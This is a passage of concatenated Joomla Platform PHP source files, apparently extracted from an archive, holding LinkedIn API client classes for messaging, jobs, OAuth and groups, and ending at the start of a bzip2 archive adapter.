A text of the message. * @param string $connection Only connecting as a 'friend' is supported presently. * * @return array The decoded JSON response * * @since 3.2.0 */ public function inviteByEmail($email, $firstName, $lastName, $subject, $body, $connection = 'friend') { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base. $base = '/v1/people/~/mailbox'; // Build the xml. $xml = '<mailbox-item> <recipients> <recipient> <person path="/people/email=' . $email . '"> <first-name>' . $firstName . '</first-name> <last-name>' . $lastName . '</last-name> </person> </recipient> </recipients> <subject>' . $subject . '</subject> <body>' . $body . '</body> <item-content> <invitation-request> <connect-type>' . $connection . '</connect-type> </invitation-request> </item-content> </mailbox-item>'; $header['Content-Type'] = 'text/xml'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method used to invite people. * * @param string $id Member id. * @param string $firstName A string containing first name of the recipient. * @param string $lastName A string containing last name of the recipient. * @param string $subject The subject of the message that will be sent to the recipient * @param string $body A text of the message. * @param string $connection Only connecting as a 'friend' is supported presently. * * @return array The decoded JSON response * * @since 3.2.0 */ public function inviteById($id, $firstName, $lastName, $subject, $body, $connection = 'friend') { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base for people search. $base = '/v1/people-search:(people:(api-standard-profile-request))'; $data['format'] = 'json'; $data['first-name'] = $firstName; $data['last-name'] = $lastName; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); if (strpos($response->body, 'apiStandardProfileRequest') === false) { throw new RuntimeException($response->body); } // Get header value. $value = explode('"value": "', $response->body); $value = explode('"', $value[1]); $value = $value[0]; // Split on the colon character. $value = explode(':', $value); $name = $value[0]; $value = $value[1]; // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base. $base = '/v1/people/~/mailbox'; // Build the xml. $xml = '<mailbox-item> <recipients> <recipient> <person path="/people/id=' . $id . '"> </person> </recipient> </recipients> <subject>' . $subject . '</subject> <body>' . $body . '</body> <item-content> <invitation-request> <connect-type>' . $connection . '</connect-type> <authorization> <name>' . $name . '</name> <value>' . $value . '</value> </authorization> </invitation-request> </item-content> </mailbox-item>'; $header['Content-Type'] = 'text/xml'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method used to send messages via LinkedIn between two or more individuals connected to the member sending the message.. * * @param mixed $recipient A string containing the member id or an array of ids. * @param string $subject The subject of the message that will be sent to the recipient * @param string $body A text of the message. * * @return array The decoded JSON response * * @since 3.2.0 */ public function sendMessage($recipient, $subject, $body) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base. $base = '/v1/people/~/mailbox'; // Build the xml. $xml = '<mailbox-item> <recipients>'; if (is_array($recipient)) { foreach ($recipient as $r) { $xml .= '<recipient> <person path="/people/' . $r . '"/> </recipient>'; } } $xml .= '</recipients> <subject>' . $subject . '</subject> <body>' . $body . '</body> </mailbox-item>'; $header['Content-Type'] = 'text/xml'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } } PK�\$:%��"�"joomla/linkedin/jobs.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Linkedin API Jobs class for the Joomla Platform. * * @since 3.2.0 */ class JLinkedinJobs extends JLinkedinObject { /** * Method to retrieve detailed information about a job. * * @param integer $id The unique identifier for a job. * @param string $fields Request fields beyond the default ones. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getJob($id, $fields = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/jobs/' . $id; // Set request parameters. $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get a list of bookmarked jobs for the current member. * * @param string $fields Request fields beyond the default ones. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getBookmarked($fields = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/job-bookmarks'; // Set request parameters. $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to bookmark a job to the current user's account. * * @param integer $id The unique identifier for a job. * * @return array The decoded JSON response * * @since 3.2.0 */ public function bookmark($id) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/people/~/job-bookmarks'; // Build xml. $xml = '<job-bookmark><job><id>' . $id . '</id></job></job-bookmark>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method to delete a bookmark. * * @param integer $id The unique identifier for a job. * * @return array The decoded JSON response * * @since 3.2.0 */ public function deleteBookmark($id) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/people/~/job-bookmarks/' . $id; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'DELETE', $parameters); return $response; } /** * Method to retrieve job suggestions for the current user. * * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getSuggested($fields = null, $start = 0, $count = 0) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/suggestions/job-suggestions'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to search across LinkedIn's job postings. * * @param string $fields Request fields beyond the default ones. * @param string $keywords Members who have all the keywords anywhere in their profile. * @param string $companyName Jobs with a matching company name. * @param string $jobTitle Matches jobs with the same job title. * @param string $countryCode Matches members with a location in a specific country. Values are defined in by ISO 3166 standard. * Country codes must be in all lower case. * @param integer $postalCode Matches members centered around a Postal Code. Must be combined with the country-code parameter. * Not supported for all countries. * @param integer $distance Matches members within a distance from a central point. This is measured in miles. * @param string $facets Facet buckets to return, e.g. location. * @param array $facet Array of facet values to search over. Contains values for company, date-posted, location, job-function, * industry, and salary, in exactly this order, null must be specified for an element if no value. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * @param string $sort Controls the search result order. There are four options: R (relationship), DA (date-posted-asc), * DD (date-posted-desc). * * @return array The decoded JSON response * * @since 3.2.0 */ public function search($fields = null, $keywords = null, $companyName = null, $jobTitle = null, $countryCode = null, $postalCode = null, $distance = null, $facets = null, $facet = null, $start = 0, $count = 0, $sort = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/job-search'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if keywords is specified. if ($keywords) { $data['keywords'] = $keywords; } // Check if company-name is specified. if ($companyName) { $data['company-name'] = $companyName; } // Check if job-title is specified. if ($jobTitle) { $data['job-title'] = $jobTitle; } // Check if country_code is specified. if ($countryCode) { $data['country-code'] = $countryCode; } // Check if postal_code is specified. if ($postalCode) { $data['postal-code'] = $postalCode; } // Check if distance is specified. if ($distance) { $data['distance'] = $distance; } // Check if facets is specified. if ($facets) { $data['facets'] = $facets; } // Check if facet is specified. if ($facet) { $data['facet'] = array(); for ($i = 0, $iMax = count($facet); $i < $iMax; $i++) { if ($facet[$i]) { if ($i == 0) { $data['facet'][] = 'company,' . $this->oauth->safeEncode($facet[$i]); } if ($i == 1) { $data['facet'][] = 'date-posted,' . $facet[$i]; } if ($i == 2) { $data['facet'][] = 'location,' . $facet[$i]; } if ($i == 3) { $data['facet'][] = 'job-function,' . $this->oauth->safeEncode($facet[$i]); } if ($i == 4) { $data['facet'][] = 'industry,' . $facet[$i]; } if ($i == 5) { $data['facet'][] = 'salary,' . $facet[$i]; } } } } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Check if sort is specified. if ($sort) { $data['sort'] = $sort; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } } PK�\��s�< < joomla/linkedin/oauth.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Joomla Platform class for generating Linkedin API access token. * * @since 3.2.0 */ class JLinkedinOauth extends JOAuth1Client { /** * @var Registry Options for the JLinkedinOauth object. * @since 3.2.0 */ protected $options; /** * Constructor. * * @param Registry $options JLinkedinOauth options object. * @param JHttp $client The HTTP client object. * @param JInput $input The input object * * @since 3.2.0 */ public function __construct(Registry $options = null, JHttp $client = null, JInput $input = null) { $this->options = isset($options) ? $options : new Registry; $this->options->def('accessTokenURL', 'https://www.linkedin.com/uas/oauth/accessToken'); $this->options->def('authenticateURL', 'https://www.linkedin.com/uas/oauth/authenticate'); $this->options->def('authoriseURL', 'https://www.linkedin.com/uas/oauth/authorize'); $this->options->def('requestTokenURL', 'https://www.linkedin.com/uas/oauth/requestToken'); // Call the JOauthV1aclient constructor to setup the object. parent::__construct($this->options, $client, $input); } /** * Method to verify if the access token is valid by making a request to an API endpoint. * * @return boolean Returns true if the access token is valid and false otherwise. * * @since 3.2.0 */ public function verifyCredentials() { $token = $this->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); $data['format'] = 'json'; // Set the API url. $path = 'https://api.linkedin.com/v1/people::(~)'; // Send the request. $response = $this->oauthRequest($path, 'GET', $parameters, $data); // Verify response if ($response->code == 200) { return true; } else { return false; } } /** * Method to validate a response. * * @param string $url The request URL. * @param JHttpResponse $response The response to validate. * * @return void * * @since 3.2.0 * @throws DomainException */ public function validateResponse($url, $response) { if (!$code = $this->getOption('success_code')) { $code = 200; } if (strpos($url, '::(~)') === false && $response->code != $code) { if ($error = json_decode($response->body)) { throw new DomainException('Error code ' . $error->errorCode . ' received with message: ' . $error->message . '.'); } else { throw new DomainException($response->body); } } } /** * Method used to set permissions. * * @param mixed $scope String or an array of string containing permissions. * * @return JLinkedinOauth This object for method chaining * * @link https://developer.linkedin.com/documents/authentication * @since 3.2.0 */ public function setScope($scope) { $this->setOption('scope', $scope); return $this; } /** * Method to get the current scope * * @return string String or an array of string containing permissions. * * @since 3.2.0 */ public function getScope() { return $this->getOption('scope'); } } PK�\�/\]-g-gjoomla/linkedin/groups.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Linkedin API Groups class for the Joomla Platform. * * @since 3.2.0 */ class JLinkedinGroups extends JLinkedinObject { /** * Method to get a group. * * @param string $id The unique identifier for a group. * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getGroup($id, $fields = null, $start = 0, $count = 5) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/groups/' . $id; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count != 5) { $data['count'] = $count; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to find the groups a member belongs to. * * @param string $id The unique identifier for a user. * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * @param string $membershipState The state of the caller’s membership to the specified group. * Values are: non-member, awaiting-confirmation, awaiting-parent-group-confirmation, member, moderator, * manager, owner. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getMemberships($id = null, $fields = null, $start = 0, $count = 5, $membershipState = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/'; // Check if id is specified. if ($id) { $base .= $id . '/group-memberships'; } else { $base .= '~/group-memberships'; } $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count != 5) { $data['count'] = $count; } // Check if membership_state is specified. if ($membershipState) { $data['membership-state'] = $membershipState; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to find the groups a member belongs to. * * @param string $personId The unique identifier for a user. * @param string $groupId The unique identifier for a group. * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getSettings($personId = null, $groupId = null, $fields = null, $start = 0, $count = 5) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/'; // Check if person_id is specified. if ($personId) { $base .= $personId . '/group-memberships'; } else { $base .= '~/group-memberships'; } // Check if group_id is specified. if ($groupId) { $base .= '/' . $groupId; } $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count != 5) { $data['count'] = $count; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to change a groups settings. * * @param string $groupId The unique identifier for a group. * @param boolean $showLogo Show group logo in profile. * @param string $digestFrequency Email digest frequency. * @param boolean $announcements Email announcements from managers. * @param boolean $allowMessages Allow messages from members. * @param boolean $newPost Email for every new post. * * @return array The decoded JSON response * * @since 3.2.0 */ public function changeSettings($groupId, $showLogo = null, $digestFrequency = null, $announcements = null, $allowMessages = null, $newPost = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/group-memberships/' . $groupId; // Build xml. $xml = '<group-membership>'; if (!is_null($showLogo)) { $xml .= '<show-group-logo-in-profile>' . $this->booleanToString($showLogo) . '</show-group-logo-in-profile>'; } if ($digestFrequency) { $xml .= '<email-digest-frequency><code>' . $digestFrequency . '</code></email-digest-frequency>'; } if (!is_null($announcements)) { $xml .= '<email-announcements-from-managers>' . $this->booleanToString($announcements) . '</email-announcements-from-managers>'; } if (!is_null($allowMessages)) { $xml .= '<allow-messages-from-members>' . $this->booleanToString($allowMessages) . '</allow-messages-from-members>'; } if (!is_null($newPost)) { $xml .= '<email-for-every-new-post>' . $this->booleanToString($newPost) . '</email-for-every-new-post>'; } $xml .= '</group-membership>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response; } /** * Method to join a group. * * @param string $groupId The unique identifier for a group. * @param boolean $showLogo Show group logo in profile. * @param string $digestFrequency Email digest frequency. * @param boolean $announcements Email announcements from managers. * @param boolean $allowMessages Allow messages from members. * @param boolean $newPost Email for every new post. * * @return array The decoded JSON response * * @since 3.2.0 */ public function joinGroup($groupId, $showLogo = null, $digestFrequency = null, $announcements = null, $allowMessages = null, $newPost = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/people/~/group-memberships'; // Build xml. $xml = '<group-membership><group><id>' . $groupId . '</id></group>'; if (!is_null($showLogo)) { $xml .= '<show-group-logo-in-profile>' . $this->booleanToString($showLogo) . '</show-group-logo-in-profile>'; } if ($digestFrequency) { $xml .= '<email-digest-frequency><code>' . $digestFrequency . '</code></email-digest-frequency>'; } if (!is_null($announcements)) { $xml .= '<email-announcements-from-managers>' . $this->booleanToString($announcements) . '</email-announcements-from-managers>'; } if (!is_null($allowMessages)) { $xml .= '<allow-messages-from-members>' . $this->booleanToString($allowMessages) . '</allow-messages-from-members>'; } if (!is_null($newPost)) { $xml .= '<email-for-every-new-post>' . $this->booleanToString($newPost) . '</email-for-every-new-post>'; } $xml .= '<membership-state><code>member</code></membership-state></group-membership>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method to leave a group. * * @param string $groupId The unique identifier for a group. * * @return array The decoded JSON response * * @since 3.2.0 */ public function leaveGroup($groupId) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/people/~/group-memberships/' . $groupId; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'DELETE', $parameters); return $response; } /** * Method to get discussions for a group. * * @param string $id The unique identifier for a group. * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * @param string $order Sort order for posts. Valid for: recency, popularity. * @param string $category Category of posts. Valid for: discussion * @param string $modifiedSince Timestamp filter for posts created after the specified value. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getDiscussions($id, $fields = null, $start = 0, $count = 0, $order = null, $category = 'discussion', $modifiedSince = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/groups/' . $id . '/posts'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Check if order is specified. if ($order) { $data['order'] = $order; } // Check if category is specified. if ($category) { $data['category'] = $category; } // Check if modified_since is specified. if ($modifiedSince) { $data['modified-since'] = $modifiedSince; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get posts a user started / participated in / follows for a group. * * @param string $groupId The unique identifier for a group. * @param string $role Filter for posts related to the caller. Valid for: creator, commenter, follower. * @param string $personId The unique identifier for a user. * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * @param string $order Sort order for posts. Valid for: recency, popularity. * @param string $category Category of posts. Valid for: discussion * @param string $modifiedSince Timestamp filter for posts created after the specified value. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getUserPosts($groupId, $role, $personId = null, $fields = null, $start = 0, $count = 0, $order = null, $category = 'discussion', $modifiedSince = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/'; // Check if person_id is specified. if ($personId) { $base .= $personId; } else { $base .= '~'; } $base .= '/group-memberships/' . $groupId . '/posts'; $data['format'] = 'json'; $data['role'] = $role; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Check if order is specified. if ($order) { $data['order'] = $order; } // Check if category is specified. if ($category) { $data['category'] = $category; } // Check if modified_since is specified. if ($modifiedSince) { $data['modified-since'] = $modifiedSince; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to retrieve details about a post. * * @param string $postId The unique identifier for a post. * @param string $fields Request fields beyond the default ones. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getPost($postId, $fields = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/posts/' . $postId; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to retrieve all comments of a post. * * @param string $postId The unique identifier for a post. * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getPostComments($postId, $fields = null, $start = 0, $count = 0) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/posts/' . $postId . '/comments'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to retrieve all comments of a post. * * @param string $groupId The unique identifier for a group. * @param string $title Post title. * @param string $summary Post summary. * * @return string The created post's id. * * @since 3.2.0 */ public function createPost($groupId, $title, $summary) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/groups/' . $groupId . '/posts'; // Build xml. $xml = '<post><title>' . $title . '</title><summary>' . $summary . '</summary></post>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); // Return the post id. $response = explode('posts/', $response->headers['Location']); return $response[1]; } /** * Method to like or unlike a post. * * @param string $postId The unique identifier for a group. * @param boolean $like True to like post, false otherwise. * * @return array The decoded JSON response * * @since 3.2.0 */ private function _likeUnlike($postId, $like) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/posts/' . $postId . '/relation-to-viewer/is-liked'; // Build xml. $xml = '<is-liked>' . $this->booleanToString($like) . '</is-liked>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response; } /** * Method used to like a post. * * @param string $postId The unique identifier for a group. * * @return array The decoded JSON response * * @since 3.2.0 */ public function likePost($postId) { return $this->_likeUnlike($postId, true); } /** * Method used to unlike a post. * * @param string $postId The unique identifier for a group. * * @return array The decoded JSON response * * @since 3.2.0 */ public function unlikePost($postId) { return $this->_likeUnlike($postId, false); } /** * Method to follow or unfollow a post. * * @param string $postId The unique identifier for a group. * @param boolean $follow True to like post, false otherwise. * * @return array The decoded JSON response * * @since 3.2.0 */ private function _followUnfollow($postId, $follow) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/posts/' . $postId . '/relation-to-viewer/is-following'; // Build xml. $xml = '<is-following>' . $this->booleanToString($follow) . '</is-following>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response; } /** * Method used to follow a post. * * @param string $postId The unique identifier for a group. * * @return array The decoded JSON response * * @since 3.2.0 */ public function followPost($postId) { return $this->_followUnfollow($postId, true); } /** * Method used to unfollow a post. * * @param string $postId The unique identifier for a group. * * @return array The decoded JSON response * * @since 3.2.0 */ public function unfollowPost($postId) { return $this->_followUnfollow($postId, false); } /** * Method to flag a post as a Promotion or Job. * * @param string $postId The unique identifier for a group. * @param string $flag Flag as a 'promotion' or 'job'. * * @return array The decoded JSON response * * @since 3.2.0 */ public function flagPost($postId, $flag) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/posts/' . $postId . '/category/code'; // Build xml. $xml = '<code>' . $flag . '</code>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response; } /** * Method to delete a post if the current user is the creator or flag it as inappropriate otherwise. * * @param string $postId The unique identifier for a group. * * @return array The decoded JSON response * * @since 3.2.0 */ public function deletePost($postId) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/posts/' . $postId; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'DELETE', $parameters); return $response; } /** * Method to access the comments resource. * * @param string $commentId The unique identifier for a comment. * @param string $fields Request fields beyond the default ones. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getComment($commentId, $fields = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/comments/' . $commentId; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to add a comment to a post * * @param string $postId The unique identifier for a group. * @param string $comment The post comment's text. * * @return string The created comment's id. * * @since 3.2.0 */ public function addComment($postId, $comment) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/posts/' . $postId . '/comments'; // Build xml. $xml = '<comment><text>' . $comment . '</text></comment>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); // Return the comment id. $response = explode('comments/', $response->headers['Location']); return $response[1]; } /** * Method to delete a comment if the current user is the creator or flag it as inappropriate otherwise. * * @param string $commentId The unique identifier for a group. * * @return array The decoded JSON response * * @since 3.2.0 */ public function deleteComment($commentId) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/comments/' . $commentId; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'DELETE', $parameters); return $response; } /** * Method to get suggested groups for a user. * * @param string $personId The unique identifier for a user. * @param string $fields Request fields beyond the default ones. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getSuggested($personId = null, $fields = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/'; // Check if person_id is specified. if ($personId) { $base .= $personId . '/suggestions/groups'; } else { $base .= '~/suggestions/groups'; } $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to delete a group suggestion for a user. * * @param string $suggestionId The unique identifier for a suggestion. * @param string $personId The unique identifier for a user. * * @return array The decoded JSON response * * @since 3.2.0 */ public function deleteSuggestion($suggestionId, $personId = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/people/'; // Check if person_id is specified. if ($personId) { $base .= $personId . '/suggestions/groups/' . $suggestionId; } else { $base .= '~/suggestions/groups/' . $suggestionId; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'DELETE', $parameters); return $response; } } PK�\cN���joomla/archive/bzip2.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Archive * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.file'); jimport('joomla.filesystem.stream'); /** * Bzip2 format adapter for the JArchive class * * @since 1.5 * @deprecated 4.0 use the Joomla\Archive\Bzip2 class instead */ class 